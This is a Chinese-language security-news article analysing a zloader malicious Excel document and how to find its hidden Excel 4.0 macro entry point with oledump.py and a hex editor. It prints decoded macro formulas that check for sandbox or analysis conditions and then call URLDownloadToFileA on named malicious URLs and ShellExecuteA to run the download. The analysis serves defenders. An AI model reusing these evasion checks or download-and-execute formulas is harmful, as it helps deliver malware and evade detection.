freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

zloader再次升级检测逃避措施
2020-06-17 13:00:19

最近出现的 zloader 的恶意文档升级了额外的检测逃避手段,使得确定宏代码的入口点以及额外的分析变得更加困难。

介绍

多亏了 Excel 4.0 宏才让很多恶意代码老树开新花,来!所有人都必须熟悉这些古老的宏代码。

在 2020 年 4 月初时,宏代码仍然相当整洁:

1.png

随后,Trickbot 增加了隐藏工作簿、随机位置写入宏等检测逃避的手段让分析变得更加困难:

2.png

时至今日,@ffforward 发布的 Twitter 描述了一个 zloader 的恶意文档。乍一看该文档没什么异常,没有任何隐藏的工作簿或受密码保护的宏。而如果你查看 Sheet2 的内容并缩小比例尺,则会看到分散在各处的 Excel 4.0 宏代码。

3.png

寻找起点

困难的是找到宏代码执行的起始位置。可以尝试搜索 formula 并右键点击搜索到的第一个单元格,然后尝试逐步执行宏代码。

4.png

但是,由于该公式依赖已经写入不同单元格的信息,执行会失败。只有发现的正确的起始位置才会发生这种问题。

5.png

这意味着确实找对了起始位置,幸运的是 @c0ntrol_z 撰写了如何找到混淆的 auto_open 标签的内容,最终在隐藏的 Excel 命名管理器中找到了起始位置的标签(详见 @control_z 与 @BouncyHat 的讨论)。使用与 @c0ntrol_z 相同的命令,oledump.py 也可以为我们提供类似的输出结果。

6.png

oledump.py -p plugin_biff –pluginoptions “-o LABEL -a” [file]

7.png

使用十六进制编辑器可以用 0x00 覆盖 0x21,用 0x67 覆盖 0x01。

8.png

此时,就可以在单元格 C2004 处看到起始位置了。

9.png

检测逃避

发现了起始位置后,就可以开始逐步执行宏代码了。这是一个非常繁琐的过程,以下是解码后的字符串:

=FORMULA.FILL("=CLOSE(FALSE)",$AS$58860) => CLOSE active window
=APP.MAXIMIZE()
=IF(GET.WINDOW(7),GOTO(AS58860),) => Check if window is hidden
=IF(GET.WINDOW(20),,GOTO(AS58860)) => Check if window is maximized
=IF(GET.WINDOW(23)<3,GOTO(AS58860),) => Check size of window
=IF(GET.WORKSPACE(31),GOTO(AS58860),) => Check if macro is in single-step mode
=IF(GET.WORKSPACE(13)<770,GOTO(AS$58860),) => Check workspace width
=IF(GET.WORKSPACE(14)<390,GOTO(AS$58860),) => Check workspace height
=IF(GET.WORKSPACE(19),,GOTO(AS58860)) => Check if mouse is present
=IF(GET.WORKSPACE(42),,GOTO(AS58860)) => Check if sounds can be played
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,GOTO(AS58860)) => Get name of environment in which Excel is running followed by version number

如果这些检查中的任何一项失败,将在单元格 AS58860 处结束并关闭文档。

其他内容

Micah Lee 的文章中显示了许多与本文处理的文档相同的命令。该文档从注册表导出信息,检查是否禁用了宏。接着继续下载恶意软件并执行,以下是解码后的命令内容:

=FOPEN(IP22567)
    =FOPEN("C:\Users\Public\I6yqG.reg")  => exported registry information
=FREAD(J22179,255)
    =FREAD(0,255)
    "
    ""AccessVBOM""=dwoord:00000000
    ""VBAWarnings""=dword:00000002  => "Disable all macros with notification"
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,FG10424,K233749,0,0)
=FORMULA.FILL("=""https://japanjisho.info/wp-keys.php""",$ID$41767)
=FORMULA.FILL("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R[39648]C[185],R[40313]C[52],0,0)",$BA$2119)
=FORMULA.FILL("="https://gavrelets.ru/wp-keys.php""",$CV$22613)
=FORMULA.FILL("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R[-11997]C[84],R[7822]C[89],0,0)",$P$34610)
=FORMULA.FILL("=CALL(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",0,""open"",R[5114]C[-11],R[-21047]C[188],0,5)",$AG$31196)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,ID41767,DA42432,0,0)

过去的一个多月内,zloader 使用的核心命令改动并不大,但是攻击者在外部增加了许多防御措施来阻碍分析。在未来,这种阻碍分析的检测逃避技术还将会继续发展。

*参考来源:ClickAllthethings,FB 小编 Avenger 编译,转载请注明来自 FreeBuf.COM

# 宏代码 # zloader # 逃避检测
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者